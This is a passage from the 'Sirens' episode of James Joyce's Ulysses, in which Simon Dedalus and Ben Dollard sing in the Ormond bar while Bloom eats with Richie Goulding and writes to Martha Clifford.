+light), she lowered the dropblind with a sliding cord. She drew down +pensive (why did he go so quick when I?) about her bronze, over the bar +where bald stood by sister gold, inexquisite contrast, contrast +inexquisite nonexquisite, slow cool dim seagreen sliding depth of shadow, +EAU DE NIL. + +--Poor old Goodwin was the pianist that night, Father Cowley reminded +them. There was a slight difference of opinion between himself and the +Collard grand. + +There was. + +--A symposium all his own, Mr Dedalus said. The devil wouldn't stop him. +He was a crotchety old fellow in the primary stage of drink. + +--God, do you remember? Ben bulky Dollard said, turning from the +punished keyboard. And by Japers I had no wedding garment. + +They laughed all three. He had no wed. All trio laughed. No wedding +garment. + +--Our friend Bloom turned in handy that night, Mr Dedalus said. Where's +my pipe, by the way? + +He wandered back to the bar to the lost chord pipe. Bald Pat carried +two diners' drinks, Richie and Poldy. And Father Cowley laughed again. + +--I saved the situation, Ben, I think. + +--You did, averred Ben Dollard. I remember those tight trousers too. That +was a brilliant idea, Bob. + +Father Cowley blushed to his brilliant purply lobes. He saved the +situa. Tight trou. Brilliant ide. + +--I knew he was on the rocks, he said. The wife was playing the piano in +the coffee palace on Saturdays for a very trifling consideration and who +was it gave me the wheeze she was doing the other business? Do you +remember? We had to search all Holles street to find them till the chap in +Keogh's gave us the number. Remember? Ben remembered, his broad visage +wondering. + +--By God, she had some luxurious operacloaks and things there. + +Mr Dedalus wandered back, pipe in hand. + +--Merrion square style. Balldresses, by God, and court dresses. He +wouldn't take any money either. What? Any God's quantity of cocked hats +and boleros and trunkhose. What? + +--Ay, ay, Mr Dedalus nodded. Mrs Marion Bloom has left off clothes of all +descriptions. + +Jingle jaunted down the quays. Blazes sprawled on bounding tyres. + +Liver and bacon. Steak and kidney pie. Right, sir. Right, Pat. + +Mrs Marion. Met him pike hoses. Smell of burn. Of Paul de Kock. Nice +name he. + +--What's this her name was? A buxom lassy. Marion ... + +--Tweedy. + +--Yes. Is she alive? + +--And kicking. + +--She was a daughter of ... + +--Daughter of the regiment. + +--Yes, begad. I remember the old drummajor. + +Mr Dedalus struck, whizzed, lit, puffed savoury puff after + +--Irish? I don't know, faith. Is she, Simon? + +Puff after stiff, a puff, strong, savoury, crackling. + +--Buccinator muscle is ... What? ... Bit rusty ... O, she is ... My +Irish Molly, O. + +He puffed a pungent plumy blast. + +--From the rock of Gibraltar... all the way. + +They pined in depth of ocean shadow, gold by the beerpull, bronze by +maraschino, thoughtful all two. Mina Kennedy, 4 Lismore terrace, +Drumcondra with Idolores, a queen, Dolores, silent. + +Pat served, uncovered dishes. Leopold cut liverslices. As said before he +ate with relish the inner organs, nutty gizzards, fried cods' roes while +Richie Goulding, Collis, Ward ate steak and kidney, steak then kidney, +bite by bite of pie he ate Bloom ate they ate. + +Bloom with Goulding, married in silence, ate. Dinners fit for princes. + +By Bachelor's walk jogjaunty jingled Blazes Boylan, bachelor, in sun +in heat, mare's glossy rump atrot, with flick of whip, on bounding tyres: +sprawled, warmseated, Boylan impatience, ardentbold. Horn. Have you +the? Horn. Have you the? Haw haw horn. + +Over their voices Dollard bassooned attack, booming over bombarding +chords: + +--WHEN LOVE ABSORBS MY ARDENT SOUL ... + +Roll of Bensoulbenjamin rolled to the quivery loveshivery roofpanes. + +--War! War! cried Father Cowley. You're the warrior. + +--So I am, Ben Warrior laughed. I was thinking of your landlord. Love or +money. + +He stopped. He wagged huge beard, huge face over his blunder huge. + +--Sure, you'd burst the tympanum of her ear, man, Mr Dedalus said +through smoke aroma, with an organ like yours. + +In bearded abundant laughter Dollard shook upon the keyboard. He +would. + +--Not to mention another membrane, Father Cowley added. Half time, +Ben. AMOROSO MA NON TROPPO. Let me there. + +Miss Kennedy served two gentlemen with tankards of cool stout. She +passed a remark. It was indeed, first gentleman said, beautiful weather. +They drank cool stout. Did she know where the lord lieutenant was going? +And heard steelhoofs ringhoof ring. No, she couldn't say. But it would be +in the paper. O, she need not trouble. No trouble. She waved about her +outspread INDEPENDENT, searching, the lord lieutenant, her pinnacles of +hair slowmoving, lord lieuten. Too much trouble, first gentleman said. O, +not in the least. Way he looked that. Lord lieutenant. Gold by bronze +heard iron steel. + +-- ............ MY ARDENT SOUL + I CARE NOT FOROR THE MORROW. + +In liver gravy Bloom mashed mashed potatoes. Love and War +someone is. Ben Dollard's famous. Night he ran round to us to borrow a +dress suit for that concert. Trousers tight as a drum on him. Musical +porkers. Molly did laugh when he went out. Threw herself back across the +bed, screaming, kicking. With all his belongings on show. O saints above, +I'm drenched! O, the women in the front row! O, I never laughed so many! +Well, of course that's what gives him the base barreltone. For instance +eunuchs. Wonder who's playing. Nice touch. Must be Cowley. Musical. +Knows whatever note you play. Bad breath he has, poor chap. Stopped. + +Miss Douce, engaging, Lydia Douce, bowed to suave solicitor, George +Lidwell, gentleman, entering. Good afternoon. She gave her moist +(a lady's) hand to his firm clasp. Afternoon. Yes, she was back. To the +old dingdong again. + +--Your friends are inside, Mr Lidwell. + +George Lidwell, suave, solicited, held a lydiahand. + +Bloom ate liv as said before. Clean here at least. That chap in the +Burton, gummy with gristle. No-one here: Goulding and I. Clean tables, +flowers, mitres of napkins. Pat to and fro. Bald Pat. Nothing to do. Best +value in Dub. + +Piano again. Cowley it is. Way he sits in to it, like one together, +mutual understanding. Tiresome shapers scraping fiddles, eye on the +bowend, sawing the cello, remind you of toothache. Her high long snore. +Night we were in the box. Trombone under blowing like a grampus, +between the acts, other brass chap unscrewing, emptying spittle. +Conductor's legs too, bagstrousers, jiggedy jiggedy. Do right to hide +them. + +Jiggedy jingle jaunty jaunty. + +Only the harp. Lovely. Gold glowering light. Girl touched it. Poop of +a lovely. Gravy's rather good fit for a. Golden ship. Erin. The harp that +once or twice. Cool hands. Ben Howth, the rhododendrons. We are their +harps. I. He. Old. Young. + +--Ah, I couldn't, man, Mr Dedalus said, shy, listless. + +Strongly. + +--Go on, blast you! Ben Dollard growled. Get it out in bits. + +--M'APPARI, Simon, Father Cowley said. + +Down stage he strode some paces, grave, tall in affliction, his long +arms outheld. Hoarsely the apple of his throat hoarsed softly. Softly he +sang to a dusty seascape there: A LAST FAREWELL. A headland, a ship, a +sail upon the billows. Farewell. A lovely girl, her veil awave upon the +wind upon the headland, wind around her. + +Cowley sang: + + +--M'APPARI TUTT'AMOR: +IL MIO SGUARDO L'INCONTR ... + + +She waved, unhearing Cowley, her veil, to one departing, dear one, to +wind, love, speeding sail, return. + +--Go on, Simon. + +--Ah, sure, my dancing days are done, Ben ... Well ... + +Mr Dedalus laid his pipe to rest beside the tuningfork and, sitting, +touched the obedient keys. + +--No, Simon, Father Cowley turned. Play it in the original. One flat. + +The keys, obedient, rose higher, told, faltered, confessed, confused. + +Up stage strode Father Cowley. + +--Here, Simon, I'll accompany you, he said. Get up. + +By Graham Lemon's pineapple rock, by Elvery's elephant jingly +jogged. Steak, kidney, liver, mashed, at meat fit for princes sat princes +Bloom and Goulding. Princes at meat they raised and drank, Power and +cider. + +Most beautiful tenor air ever written, Richie said: SONNAMBULA. He +heard Joe Maas sing that one night. Ah, what M'Guckin! Yes. In his way. +Choirboy style. Maas was the boy. Massboy. A lyrical tenor if you like. +Never forget it. Never. + +Tenderly Bloom over liverless bacon saw the tightened features strain. +Backache he. Bright's bright eye. Next item on the programme. Paying the +piper. Pills, pounded bread, worth a guinea a box. Stave it off awhile. +Sings too: DOWN AMONG THE DEAD MEN. Appropriate. Kidney pie. Sweets to +the. Not making much hand of it. Best value in. Characteristic of him. +Power. Particular about his drink. Flaw in the glass, fresh Vartry water. +Fecking matches from counters to save. Then squander a sovereign in dribs +and drabs. And when he's wanted not a farthing. Screwed refusing to pay +his fare. Curious types. + +Never would Richie forget that night. As long as he lived: never. In +the gods of the old Royal with little Peake. And when the first note. + +Speech paused on Richie's lips. + +Coming out with a whopper now. Rhapsodies about damn all. + +Believes his own lies. Does really. Wonderful liar. But want a good +memory. + +--Which air is that? asked Leopold Bloom. + +--ALL IS LOST NOW. + +Richie cocked his lips apout. A low incipient note sweet banshee murmured: +all. A thrush. A throstle. His breath, birdsweet, good teeth he's +proud of, fluted with plaintive woe. Is lost. Rich sound. Two notes in one +there. Blackbird I heard in the hawthorn valley. Taking my motives he +twined and turned them. All most too new call is lost in all. Echo. How +sweet the answer. How is that done? All lost now. Mournful he whistled. +Fall, surrender, lost. + +Bloom bent leopold ear, turning a fringe of doyley down under the +vase. Order. Yes, I remember. Lovely air. In sleep she went to him. +Innocence in the moon. Brave. Don't know their danger. Still hold her +back. Call name. Touch water. Jingle jaunty. Too late. She longed to go. +That's why. Woman. As easy stop the sea. Yes: all is lost. + +--A beautiful air, said Bloom lost Leopold. I know it well. + +Never in all his life had Richie Goulding. + +He knows it well too. Or he feels. Still harping on his daughter. Wise +child that knows her father, Dedalus said. Me? + +Bloom askance over liverless saw. Face of the all is lost. Rollicking +Richie once. Jokes old stale now. Wagging his ear. Napkinring in his eye. +Now begging letters he sends his son with. Crosseyed Walter sir I did sir. +Wouldn't trouble only I was expecting some money. Apologise. + +Piano again. Sounds better than last time I heard. Tuned probably. +Stopped again. + +Dollard and Cowley still urged the lingering singer out with it. + +--With it, Simon. + +--It, Simon. + +--Ladies and gentlemen, I am most deeply obliged by your kind +solicitations. + +--It, Simon. + +--I have no money but if you will lend me your attention I shall endeavour +to sing to you of a heart bowed down. + +By the sandwichbell in screening shadow Lydia, her bronze and rose, +a lady's grace, gave and withheld: as in cool glaucous EAU DE NIL Mina +to tankards two her pinnacles of gold. + +The harping chords of prelude closed. A chord, longdrawn, expectant, +drew a voice away. + +--WHEN FIRST I SAW THAT FORM ENDEARING ... + +Richie turned. + +--Si Dedalus' voice, he said. + +Braintipped, cheek touched with flame, they listened feeling that flow +endearing flow over skin limbs human heart soul spine. Bloom signed to +Pat, bald Pat is a waiter hard of hearing, to set ajar the door of the +bar. The door of the bar. So. That will do. Pat, waiter, waited, waiting +to hear, for he was hard of hear by the door. + +--SORROW FROM ME SEEMED TO DEPART. + +Through the hush of air a voice sang to them, low, not rain, not leaves +in murmur, like no voice of strings or reeds or whatdoyoucallthem +dulcimers touching their still ears with words, still hearts of their each +his remembered lives. Good, good to hear: sorrow from them each seemed to +from both depart when first they heard. When first they saw, lost Richie +Poldy, mercy of beauty, heard from a person wouldn't expect it in the +least, her first merciful lovesoft oftloved word. + +Love that is singing: love's old sweet song. Bloom unwound slowly +the elastic band of his packet. Love's old sweet SONNEZ LA gold. Bloom +wound a skein round four forkfingers, stretched it, relaxed, and wound it +round his troubled double, fourfold, in octave, gyved them fast. + +--FULL OF HOPE AND ALL DELIGHTED ... + +Tenors get women by the score. Increase their flow. Throw flower at +his feet. When will we meet? My head it simply. Jingle all delighted. He +can't sing for tall hats. Your head it simply swurls. Perfumed for him. +What perfume does your wife? I want to know. Jing. Stop. Knock. Last look +at mirror always before she answers the door. The hall. There? How do you? +I do well. There? What? Or? Phial of cachous, kissing comfits, in her +satchel. Yes? Hands felt for the opulent. + +Alas the voice rose, sighing, changed: loud, full, shining, proud. + +--BUT ALAS, 'TWAS IDLE DREAMING ... + +Glorious tone he has still. Cork air softer also their brogue. Silly man! +Could have made oceans of money. Singing wrong words. Wore out his +wife: now sings. But hard to tell. Only the two themselves. If he doesn't +break down. Keep a trot for the avenue. His hands and feet sing too. +Drink. Nerves overstrung. Must be abstemious to sing. Jenny Lind soup: +stock, sage, raw eggs, half pint of cream. For creamy dreamy. + +Tenderness it welled: slow, swelling, full it throbbed. That's the chat. +Ha, give! Take! Throb, a throb, a pulsing proud erect. + +Words? Music? No: it's what's behind. + +Bloom looped, unlooped, noded, disnoded. + +Bloom. Flood of warm jamjam lickitup secretness flowed to flow in +music out, in desire, dark to lick flow invading. Tipping her tepping her +tapping her topping her. Tup. Pores to dilate dilating. Tup. The joy the +feel the warm the. Tup. To pour o'er sluices pouring gushes. Flood, gush, +flow, joygush, tupthrob. Now! Language of love. + +-- ... RAY OF HOPE IS ... + +Beaming. Lydia for Lidwell squeak scarcely hear so ladylike the muse +unsqueaked a ray of hopk. + +MARTHA it is. Coincidence. Just going to write. Lionel's song. Lovely +name you have. Can't write. Accept my little pres. Play on her +heartstrings pursestrings too. She's a. I called you naughty boy. Still +the name: Martha. How strange! Today. + +The voice of Lionel returned, weaker but unwearied. It sang again to +Richie Poldy Lydia Lidwell also sang to Pat open mouth ear waiting to +wait. How first he saw that form endearing, how sorrow seemed to part, +how look, form, word charmed him Gould Lidwell, won Pat Bloom's heart. + +Wish I could see his face, though. Explain better. Why the barber in +Drago's always looked my face when I spoke his face in the glass. Still +hear it better here than in the bar though farther. + +--EACH GRACEFUL LOOK ... + +First night when first I saw her at Mat Dillon's in Terenure. Yellow, +black lace she wore. Musical chairs. We two the last. Fate. After her. +Fate. + +Round and round slow. Quick round. We two. All looked. Halt. Down she +sat. All ousted looked. Lips laughing. Yellow knees. + +--CHARMED MY EYE ... + +Singing. WAITING she sang. I turned her music. Full voice of perfume +of what perfume does your lilactrees. Bosom I saw, both full, throat +warbling. First I saw. She thanked me. Why did she me? Fate. Spanishy +eyes. Under a peartree alone patio this hour in old Madrid one side in +shadow Dolores shedolores. At me. Luring. Ah, alluring. + +--MARTHA! AH, MARTHA! + +Quitting all languor Lionel cried in grief, in cry of passion dominant +to love to return with deepening yet with rising chords of harmony. In cry +of lionel loneliness that she should know, must martha feel. For only her +he waited. Where? Here there try there here all try where. Somewhere. + +--CO-OME, THOU LOST ONE! + CO-OME, THOU DEAR ONE! + +Alone. One love. One hope. One comfort me. Martha, chestnote, return! + +--COME! + +It soared, a bird, it held its flight, a swift pure cry, soar silver orb +it leaped serene, speeding, sustained, to come, don't spin it out too long +long breath he breath long life, soaring high, high resplendent, aflame, +crowned, high in the effulgence symbolistic, high, of the etherial bosom, +high, of the high vast irradiation everywhere all soaring all around about +the all, the endlessnessnessness ... + +--TO ME! + +Siopold! + +Consumed. + +Come. Well sung. All clapped. She ought to. Come. To me, to him, to +her, you too, me, us. + +--Bravo! Clapclap. Good man, Simon. Clappyclapclap. Encore! +Clapclipclap clap. Sound as a bell. Bravo, Simon! Clapclopclap. Encore, +enclap, said, cried, clapped all, Ben Dollard, Lydia Douce, George +Lidwell, Pat, Mina Kennedy, two gentlemen with two tankards, Cowley, +first gent with tank and bronze miss Douce and gold MJiss Mina. + +Blazes Boylan's smart tan shoes creaked on the barfloor, said before. +Jingle by monuments of sir John Gray, Horatio onehandled Nelson, +reverend father Theobald Mathew, jaunted, as said before just now. Atrot, +in heat, heatseated. CLOCHE. SONNEZ LA. CLOCHE. SONNEZ LA. Slower the mare +went up the hill by the Rotunda, Rutland square. Too slow for Boylan, +blazes Boylan, impatience Boylan, joggled the mare. + +An afterclang of Cowley's chords closed, died on the air made richer. + +And Richie Goulding drank his Power and Leopold Bloom his cider +drank, Lidwell his Guinness, second gentleman said they would partake of +two more tankards if she did not mind. Miss Kennedy smirked, disserving, +coral lips, at first, at second. She did not mind. + +--Seven days in jail, Ben Dollard said, on bread and water. Then you'd +sing, Simon, like a garden thrush. + +Lionel Simon, singer, laughed. Father Bob Cowley played. Mina +Kennedy served. Second gentleman paid. Tom Kernan strutted in. Lydia, +admired, admired. But Bloom sang dumb. + +Admiring. + +Richie, admiring, descanted on that man's glorious voice. He +remembered one night long ago. Never forget that night. Si sang 'TWAS +RANK AND FAME: in Ned Lambert's 'twas. Good God he never heard in all his +life a note like that he never did THEN FALSE ONE WE HAD BETTER PART so +clear so God he never heard SINCE LOVE LIVES NOT a clinking voice lives +not ask Lambert he can tell you too. + +Goulding, a flush struggling in his pale, told Mr Bloom, face of the +night, Si in Ned Lambert's, Dedalus house, sang 'TWAS RANK AND FAME. + +He, Mr Bloom, listened while he, Richie Goulding, told him, Mr +Bloom, of the night he, Richie, heard him, Si Dedalus, sing 'TWAS RANK AND +FAME in his, Ned Lambert's, house. + +Brothers-in-law: relations. We never speak as we pass by. Rift in the +lute I think. Treats him with scorn. See. He admires him all the more. The +night Si sang. The human voice, two tiny silky chords, wonderful, more +than all others. + +That voice was a lamentation. Calmer now. It's in the silence after +you feel you hear. Vibrations. Now silent air. + +Bloom ungyved his crisscrossed hands and with slack fingers plucked +the slender catgut thong. He drew and plucked. It buzz, it twanged. While +Goulding talked of Barraclough's voice production, while Tom Kernan, +harking back in a retrospective sort of arrangement talked to listening +Father Cowley, who played a voluntary, who nodded as he played. While +big Ben Dollard talked with Simon Dedalus, lighting, who nodded as he +smoked, who smoked. + +Thou lost one. All songs on that theme. Yet more Bloom stretched his +string. Cruel it seems. Let people get fond of each other: lure them on. +Then tear asunder. Death. Explos. Knock on the head. Outtohelloutofthat. +Human life. Dignam. Ugh, that rat's tail wriggling! Five bob I gave. +CORPUS PARADISUM. Corncrake croaker: belly like a poisoned pup. Gone. +They sing. Forgotten. I too; And one day she with. Leave her: get tired. +Suffer then. Snivel. Big spanishy eyes goggling at nothing. Her +wavyavyeavyheavyeavyevyevyhair un comb:'d. + +Yet too much happy bores. He stretched more, more. Are you not +happy in your? Twang. It snapped. + +Jingle into Dorset street. + +Miss Douce withdrew her satiny arm, reproachful, pleased. + +--Don't make half so free, said she, till we are better acquainted. + +George Lidwell told her really and truly: but she did not believe. + +First gentleman told Mina that was so. She asked him was that so. +And second tankard told her so. That that was so. + +Miss Douce, miss Lydia, did not believe: miss Kennedy, Mina, did not +believe: George Lidwell, no: miss Dou did not: the first, the first: gent +with the tank: believe, no, no: did not, miss Kenn: Lidlydiawell: the +tank. + +Better write it here. Quills in the postoffice chewed and twisted. + +Bald Pat at a sign drew nigh. A pen and ink. He went. A pad. He +went. A pad to blot. He heard, deaf Pat. + +--Yes, Mr Bloom said, teasing the curling catgut line. It certainly is. +Few lines will do. My present. All that Italian florid music is. Who is +this wrote? Know the name you know better. Take out sheet notepaper, +envelope: unconcerned. It's so characteristic. + +--Grandest number in the whole opera, Goulding said. + +--It is, Bloom said. + +Numbers it is. All music when you come to think. Two multiplied by two +divided by half is twice one. Vibrations: chords those are. One plus two +plus six is seven. Do anything you like with figures juggling. Always find +out this equal to that. Symmetry under a cemetery wall. He doesn't see my +mourning. Callous: all for his own gut. Musemathematics. And you think +you're listening to the etherial. But suppose you said it like: Martha, +seven times nine minus x is thirtyfive thousand. Fall quite flat. It's on +account of the sounds it is. + +Instance he's playing now. Improvising. Might be what you like, till +you hear the words. Want to listen sharp. Hard. Begin all right: then hear +chords a bit off: feel lost a bit. In and out of sacks, over barrels, +through wirefences, obstacle race. Time makes the tune. Question of mood +you're in. Still always nice to hear. Except scales up and down, girls +learning. Two together nextdoor neighbours. Ought to invent dummy pianos +for that. BLUMENLIED I bought for her. The name. Playing it slow, a girl, +night I came home, the girl. Door of the stables near Cecilia street. +Milly no taste. Queer because we both, I mean. + +Bald deaf Pat brought quite flat pad ink. Pat set with ink pen quite +flat pad. Pat took plate dish knife fork. Pat went. + +It was the only language Mr Dedalus said to Ben. He heard them as a +boy in Ringabella, Crosshaven, Ringabella, singing their barcaroles. +Queenstown harbour full of Italian ships. Walking, you know, Ben, in the +moonlight with those earthquake hats. Blending their voices. God, such +music, Ben. Heard as a boy. Cross Ringabella haven mooncarole. + +Sour pipe removed he held a shield of hand beside his lips that cooed +a moonlight nightcall, clear from anear, a call from afar, replying. + +Down the edge of his FREEMAN baton ranged Bloom's, your other eye, +scanning for where did I see that. Callan, Coleman, Dignam Patrick. +Heigho! Heigho! Fawcett. Aha! Just I was looking ... + +Hope he's not looking, cute as a rat. He held unfurled his FREEMAN. +Can't see now. Remember write Greek ees. Bloom dipped, Bloo mur: dear +sir. Dear Henry wrote: dear Mady. Got your lett and flow. Hell did I put? +Some pock or oth. It is utterl imposs. Underline IMPOSS. To write today. + +Bore this. Bored Bloom tambourined gently with I am just reflecting +fingers on flat pad Pat brought. + +On. Know what I mean. No, change that ee. Accep my poor litt pres +enclos. Ask her no answ. Hold on. Five Dig. Two about here. Penny the +gulls. Elijah is com. Seven Davy Byrne's. Is eight about. Say half a +crown. My poor little pres: p. o. two and six. Write me a long. Do you +despise? Jingle, have you the? So excited. Why do you call me naught? +You naughty too? O, Mairy lost the string of her. Bye for today. Yes, yes, +will tell you. Want to. To keep it up. Call me that other. Other world she +wrote. My patience are exhaust. To keep it up. You must believe. Believe. +The tank. It. Is. True. + +Folly am I writing? Husbands don't. That's marriage does, their +wives. Because I'm away from. Suppose. But how? She must. Keep young. +If she found out. Card in my high grade ha. No, not tell all. Useless +pain. If they don't see. Woman. Sauce for the gander. + +A hackney car, number three hundred and twentyfour, driver Barton James of +number one Harmony avenue, Donnybrook, on which sat a fare, a young +gentleman, stylishly dressed in an indigoblue serge suit made by +George Robert Mesias, tailor and cutter, of number five Eden quay, and +wearing a straw hat very dressy, bought of John Plasto of number one +Great Brunswick street, hatter. Eh? This is the jingle that joggled and +jingled. By Dlugacz' porkshop bright tubes of Agendath trotted a +gallantbuttocked mare. + +--Answering an ad? keen Richie's eyes asked Bloom. + +--Yes, Mr Bloom said. Town traveller. Nothing doing, I expect. + +Bloom mur: best references. But Henry wrote: it will excite me. You +know how. In haste. Henry. Greek ee. Better add postscript. What is he +playing now? Improvising. Intermezzo. P. S. The rum tum tum. How will +you pun? You punish me? Crooked skirt swinging, whack by. Tell me I want +to. Know. O. Course if I didn't I wouldn't ask. La la la ree. Trails off +there sad in minor. Why minor sad? Sign H. They like sad tail at end. +P. P. S. La la la ree. I feel so sad today. La ree. So lonely. Dee. + +He blotted quick on pad of Pat. Envel. Address. Just copy out of +paper. Murmured: Messrs Callan, Coleman and Co, limited. Henry wrote: + + + Miss Martha Clifford + c/o P. O. + Dolphin's Barn Lane + Dublin + + +Blot over the other so he can't read. There. Right. Idea prize titbit. +Something detective read off blottingpad. Payment at the rate of guinea +per col. Matcham often thinks the laughing witch. Poor Mrs Purefoy. U. P: +up. + +Too poetical that about the sad. Music did that. Music hath charms. +Shakespeare said. Quotations every day in the year. To be or not to be. +Wisdom while you wait. + +In Gerard's rosery of Fetter lane he walks, greyedauburn. One life is +all. One body. Do. But do. + +Done anyhow. Postal order, stamp. Postoffice lower down. Walk +now. Enough. Barney Kiernan's I promised to meet them. Dislike that job. + +House of mourning. Walk. Pat! Doesn't hear. Deaf beetle he is. + +Car near there now. Talk. Talk. Pat! Doesn't. Settling those napkins. +Lot of ground he must cover in the day. Paint face behind on him then he'd +be two. Wish they'd sing more. Keep my mind off. + +Bald Pat who is bothered mitred the napkins. Pat is a waiter hard of +his hearing. Pat is a waiter who waits while you wait. Hee hee hee hee. He +waits while you wait. Hee hee. A waiter is he. Hee hee hee hee. He waits +while you wait. While you wait if you wait he will wait while you wait. +Hee hee hee hee. Hoh. Wait while you wait. + +Douce now. Douce Lydia. Bronze and rose. + +She had a gorgeous, simply gorgeous, time. And look at the lovely +shell she brought. + +To the end of the bar to him she bore lightly the spiked and winding +seahorn that he, George Lidwell, solicitor, might hear. + +--Listen! she bade him. + +Under Tom Kernan's ginhot words the accompanist wove music slow. +Authentic fact. How Walter Bapty lost his voice. Well, sir, the husband +took him by the throat. SCOUNDREL, said he, YOU'LL SING NO MORE LOVESONGS. +He did, faith, sir Tom. Bob Cowley wove. Tenors get wom. Cowley lay back. + +Ah, now he heard, she holding it to his ear. Hear! He heard. + +Wonderful. She held it to her own. And through the sifted light pale gold +in contrast glided. To hear. + +Tap. + +Bloom through the bardoor saw a shell held at their ears. He heard +more faintly that that they heard, each for herself alone, then each for +other, hearing the plash of waves, loudly, a silent roar. + +Bronze by a weary gold, anear, afar, they listened. + +Her ear too is a shell, the peeping lobe there. Been to the seaside. +Lovely seaside girls. Skin tanned raw. Should have put on coldcream first +make it brown. Buttered toast. O and that lotion mustn't forget. Fever +near her mouth. Your head it simply. Hair braided over: shell with +seaweed. Why do they hide their ears with seaweed hair? And Turks the +mouth, why? Her eyes over the sheet. Yashmak. Find the way in. A cave. No +admittance except on business. + +The sea they think they hear. Singing. A roar. The blood it is. Souse +in the ear sometimes. Well, it's a sea. Corpuscle islands. + +Wonderful really. So distinct. Again. George Lidwell held its murmur, +hearing: then laid it by, gently. + +--What are the wild waves saying? he asked her, smiled. + +Charming, seasmiling and unanswering Lydia on Lidwell smiled. + +Tap. + +By Larry O'Rourke's, by Larry, bold Larry O', Boylan swayed and +Boylan turned. + +From the forsaken shell miss Mina glided to her tankards waiting. +No, she was not so lonely archly miss Douce's head let Mr Lidwell know. +Walks in the moonlight by the sea. No, not alone. With whom? She nobly +answered: with a gentleman friend. + +Bob Cowley's twinkling fingers in the treble played again. The +landlord has the prior. A little time. Long John. Big Ben. Lightly he +played a light bright tinkling measure for tripping ladies, arch and +smiling, and for their gallants, gentlemen friends. One: one, one, one, +one, one: two, one, three, four. + +Sea, wind, leaves, thunder, waters, cows lowing, the cattlemarket, +cocks, hens don't crow, snakes hissss. There's music everywhere. +Ruttledge's door: ee creaking. No, that's noise. Minuet of DON GIOVANNI +he's playing now. Court dresses of all descriptions in castle chambers +dancing. Misery. Peasants outside. Green starving faces eating +dockleaves. Nice that is. Look: look, look, look, look, look: you +look at us. + +That's joyful I can feel. Never have written it. Why? My joy is other +joy. But both are joys. Yes, joy it must be. Mere fact of music shows you +are. Often thought she was in the dumps till she began to lilt. Then +know. + +M'Coy valise. My wife and your wife. Squealing cat. Like tearing silk. +Tongue when she talks like the clapper of a bellows. They can't manage +men's intervals. Gap in their voices too. Fill me. I'm warm, dark, open. +Molly in QUIS EST HOMO: Mercadante. My ear against the wall to hear. Want +a woman who can deliver the goods. + +Jog jig jogged stopped. Dandy tan shoe of dandy Boylan socks +skyblue clocks came light to earth. + +O, look we are so! Chamber music. Could make a kind of pun on +that. It is a kind of music I often thought when she. Acoustics that is. +Tinkling. Empty vessels make most noise. Because the acoustics, the +resonance changes according as the weight of the water is equal to the law +of falling water. Like those rhapsodies of Liszt's, Hungarian, gipsyeyed. +Pearls. Drops. Rain. Diddleiddle addleaddle ooddleooddle. Hissss. Now. +Maybe now. Before. + +One rapped on a door, one tapped with a knock, did he knock Paul +de Kock with a loud proud knocker with a cock carracarracarra cock. +Cockcock. + +Tap. + +--QUI SDEGNO, Ben, said Father Cowley. + +--No, Ben, Tom Kernan interfered. THE CROPPY BOY. Our native Doric. + +--Ay do, Ben, Mr Dedalus said. Good men and true. + +--Do, do, they begged in one. + +I'll go. Here, Pat, return. Come. He came, he came, he did not stay. +To me. How much? + +--What key? Six sharps? + +--F sharp major, Ben Dollard said. + +Bob Cowley's outstretched talons griped the black deepsounding chords. + +Must go prince Bloom told Richie prince. No, Richie said. Yes, must. +Got money somewhere. He's on for a razzle backache spree. Much? He +seehears lipspeech. One and nine. Penny for yourself. Here. Give him +twopence tip. Deaf, bothered. But perhaps he has wife and family waiting, +waiting Patty come home. Hee hee hee hee. Deaf wait while they wait. + +But wait. But hear. Chords dark. Lugugugubrious. Low. In a cave of +the dark middle earth. Embedded ore. Lumpmusic. + +The voice of dark age, of unlove, earth's fatigue made grave approach +and painful, come from afar, from hoary mountains, called on good men +and true. The priest he sought. With him would he speak a word. + +Tap. + +Ben Dollard's voice. Base barreltone. Doing his level best to say it. +Croak of vast manless moonless womoonless marsh. Other comedown. Big +ships' chandler's business he did once. Remember: rosiny ropes, ships' +lanterns. Failed to the tune of ten thousand pounds. Now in the Iveagh +home. Cubicle number so and so. Number one Bass did that for him. + +The priest's at home. A false priest's servant bade him welcome. Step +in. The holy father. With bows a traitor servant. Curlycues of chords. + +Ruin them. Wreck their lives. Then build them cubicles to end their +days in. Hushaby. Lullaby. Die, dog. Little dog, die. + +The voice of warning, solemn warning, told them the youth had +entered a lonely hall, told them how solemn fell his footsteps there, told +them the gloomy chamber, the vested priest sitting to shrive. + +Decent soul. Bit addled now. Thinks he'll win in ANSWERS, poets' +picture puzzle. We hand you crisp five pound note. Bird sitting hatching +in a nest. Lay of the last minstrel he thought it was. See blank tee what +domestic animal? Tee dash ar most courageous mariner. Good voice he has +still. No eunuch yet with all his belongings. + +Listen. Bloom listened. Richie Goulding listened. And by the door +deaf Pat, bald Pat, tipped Pat, listened. The chords harped slower. + +The voice of penance and of grief came slow, embellished, tremulous. +Ben's contrite beard confessed. IN NOMINE DOMINI, in God's name he knelt. +He beat his hand upon his breast, confessing: MEA CULPA. + +Latin again. That holds them like birdlime. Priest with the +communion corpus for those women. Chap in the mortuary, coffin or +coffey, CORPUSNOMINE. Wonder where that rat is by now. Scrape. + +Tap. + +They listened. Tankards and miss Kennedy. George Lidwell, eyelid +well expressive, fullbusted satin. Kernan. Si. + +The sighing voice of sorrow sang. His sins. Since Easter he had +cursed three times. You bitch's bast. And once at masstime he had gone to +play. Once by the churchyard he had passed and for his mother's rest he +had not prayed. A boy. A croppy boy. + +Bronze, listening, by the beerpull gazed far away. Soulfully. Doesn't +half know I'm. Molly great dab at seeing anyone looking. + +Bronze gazed far sideways. Mirror there. Is that best side of her face? +They always know. Knock at the door. Last tip to titivate. + +Cockcarracarra. + +What do they think when they hear music? Way to catch rattlesnakes. +Night Michael Gunn gave us the box. Tuning up. Shah of Persia liked that +best. Remind him of home sweet home. Wiped his nose in curtain too. +Custom his country perhaps. That's music too. Not as bad as it sounds. +Tootling. Brasses braying asses through uptrunks. Doublebasses helpless, +gashes in their sides. Woodwinds mooing cows. Semigrand open crocodile +music hath jaws. Woodwind like Goodwin's name. + +She looked fine. Her crocus dress she wore lowcut, belongings on +show. Clove her breath was always in theatre when she bent to ask a +question. Told her what Spinoza says in that book of poor papa's. +Hypnotised, listening. Eyes like that. She bent. Chap in dresscircle +staring down into her with his operaglass for all he was worth. Beauty +of music you must hear twice. Nature woman half a look. God made the +country man the tune. Met him pike hoses. Philosophy. O rocks! + +All gone. All fallen. At the siege of Ross his father, at Gorey all his +brothers fell. To Wexford, we are the boys of Wexford, he would. Last of +his name and race. + +I too. Last of my race. Milly young student. Well, my fault perhaps. +No son. 